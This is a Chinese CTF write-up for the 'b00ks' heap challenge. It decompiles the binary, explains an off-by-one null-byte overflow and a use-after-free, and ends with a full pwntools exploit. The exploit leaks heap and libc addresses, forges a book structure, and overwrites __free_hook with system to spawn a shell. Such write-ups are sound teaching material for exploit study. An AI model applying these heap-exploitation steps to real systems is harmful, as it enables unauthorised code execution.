检查文件信息
1
2
ELF64位小端序程序,开了PIE和FULL RELORO,got不可写。
3
4
查看编译信息,并修改RPATH,这里还是使用2.23,2.19可以到libc-database下载。
试运行
5
逆向分析
/* main 函数*/
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
hello();
get_name(); // 漏洞所在
while ( 1 )
{
v5 = get_menu(v3);
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
Create(v3);
break;
case 2:
Delete(v3);
break;
case 3:
Edit(v3);
break;
case 4:
Print(v3);
break;
case 5:
get_name(); // 漏洞可触发多次
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
/* get_name 函数*/
__int64 get_name()
{
printf("Enter author name: ");
if ( !(unsigned int)offbyone(Author, 32LL) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}
/* offbyone 函数 */
__int64 __fastcall offbyone(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == '\n' )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0; // 写满的情况下,a1多加了1,第33位会被改成'\x00'
return 0LL;
}
/* Create 函数 */
__int64 Create()
{
int Size; // [rsp+0h] [rbp-20h] BYREF
int Library; // [rsp+4h] [rbp-1Ch]
void *NewBook; // [rsp+8h] [rbp-18h]
void *Name; // [rsp+10h] [rbp-10h]
void *Description; // [rsp+18h] [rbp-8h]
Size = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &Size);
if ( Size < 0 )
goto ErrOut;
printf("Enter book name (Max 32 chars): ");
Name = malloc(Size);
if ( !Name )
{
printf("unable to allocate enough space");
goto Out;
}
if ( (unsigned int)offbyone(Name, Size - 1) )
{
printf("fail to read name");
goto Out;
}
Size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &Size);
if ( Size < 0 )
{
ErrOut:
printf("Malformed size");
}
else
{
Description = malloc(Size);
if ( Description )
{
printf("Enter book description: ");
if ( (unsigned int)offbyone(Description, Size - 1) )
{
printf("Unable to read description");
}
else
{
Library = GetLibrary();
if ( Library == -1 )
{
printf("Library is full");
}
else
{
NewBook = malloc(0x20uLL);
if ( NewBook )
{
*((_DWORD *)NewBook + 6) = Size;
*((_QWORD *)booklist + Library) = NewBook;
*((_QWORD *)NewBook + 2) = Description;
*((_QWORD *)NewBook + 1) = Name;
*(_DWORD *)NewBook = ++id;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
Out:
if ( Name )
free(Name);
if ( Description )
free(Description);
if ( NewBook )
free(NewBook);
return 1LL;
}
/* GetLibrary 函数,从0~19 共 20 个booklist中找一个空闲 */
__int64 GetLibrary()
{
int i; // [rsp+0h] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
if ( !*((_QWORD *)booklist + i) )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}
/* 不难分析book结构体 */
struct book{
int id;
void* Name;
void* Description;
int Size; // 记录 Description 大小
}
book* booklist[20];
/* Delete 函数 */
__int64 Delete()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)booklist + i) + 8LL)); // 存在 UAF
free(*(void **)(*((_QWORD *)booklist + i) + 16LL)); // 存在 UAF
free(*((void **)booklist + i));
*((_QWORD *)booklist + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}
/* 可以修改 Description 内容 */
__int64 Edit()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)offbyone(
*(_BYTE **)(*((_QWORD *)booklist + i) + 16LL),
*(_DWORD *)(*((_QWORD *)booklist + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}
/* Print 函数 */
int Print()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)booklist + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)booklist + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)Author);
}
}
return v0;
}
6
可以看到Author距离booklist仅有0x20大小,也就是Author可读入大小,但我们可以溢出一个字节'\x00'。也就是说当我们溢出时,再去申请一个book就可以泄露book1的堆地址。
漏洞利用
泄露是必不可少的,这道题book1的堆地址泄露很简单,虽然开了PIE保护但是Author到booklist的偏移是不会变的,只需要off-by-one溢出后再去申请一个堆块即可将'\x00'覆盖掉,输出Author时便会将booklist[0]也就是book1的堆地址泄露出来,我们还需要泄露一个栈地址,我们再去审计代码,调试过程中发现通过改名字再次造成off-by-one会把booklist指针迁移到一个奇妙的地方,我们可以控制这块区域制造fake book,从而达到向任意地址写内容。并且unsorted bin里的fd指针就在这个booklist+0x30的地方,我们可以通过打印来泄露栈地址,计算固定偏移来获得libc基址。利用任意地址写,将free_hook处改写为system地址,并释放'/bin/sh\x00'。
泄露libc基址
def get_libc_base():
global libc_base
p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
#debug()
show()
p.recvuntil(b'aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
success("heap_addr: 0x%x" % heap_addr)
add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
#debug()
delete(2)
#debug()
edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
#debug()
change(b'a' * 0x20)
#debug()
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
7
由于开了PIE保护,无法直接确认Author地址,我们选择直接从bss起始段开始看,可以看到此时'\x00'已经被覆盖,可以连带将book1堆地址打印出来。
8
9
10
book1结构,看以看到,他是一个0x31大小的堆块,book1[0]-->id-->1; book[1]-->name-->0x00005625f68cd020; book[2]-->Description-->0x00005625f68cd100; book1[3]-->Size-->0x20。注意这里book1[2]指向的位置和booklist的起始位置最后一位通过off-by-one改为0是一样的。
11
我们来整个看一下book2的布局可以更清楚堆的布局
12
book3布局
13
释放book2后,可以看到heap_addr+0x30处就是unsortedbin里第一个chunk_fd的位置。
16
14
15
因为book1[2]指向的位置和booklist最后一位被清零时是同一个位置,所以我们可以通过book1[2]写入一个fake booklist。其id为1,name指向unsortedbin_first_chunk_fd,Description指向book3,打印book1即可得到栈地址,减去其离libc基址的固定偏移就可得到libc基址。
将free_hook改为system函数并释放'/bin/sh\x00'。
def get_shell():
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
#debug()
edit(3, p64(system))
#debug()
delete(3)
18
19
20
向book1[2]的位置写入__free_hook地址,也就是book3[2]的位置。
21
22
然后将其改为system地址。
23
最后释放'/bin/sh\x00'(book3)就可以getshell。
完整exp
from pwn import *
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def add(name_size,name,content_size,content):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'size: ',str(name_size).encode())
p.sendlineafter(b'chars): ',name)
p.sendlineafter(b'size: ',str(content_size).encode())
p.sendlineafter(b'tion: ',content)
def delete(index):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'delete: ',str(index).encode())
def edit(index,content):
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'edit: ',str(index).encode())
p.sendlineafter(b'ption: ',content)
def show():
p.sendlineafter(b'> ',b'4')
def change(author_name):
p.sendlineafter(b'> ',b'5')
p.sendlineafter(b'name: ',author_name)
def get_libc_base():
global libc_base
p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
#debug() # 1
show()
p.recvuntil(b'aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
success("heap_addr: 0x%x" % heap_addr)
add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
#debug() # 2
delete(2)
#debug() # 3
edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
#debug() # 4
change(b'a' * 0x20)
#debug() # 5
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
def get_shell():
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
#debug() # 6
edit(3, p64(system))
#debug() # 7
delete(3)
def pwn():
get_libc_base()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()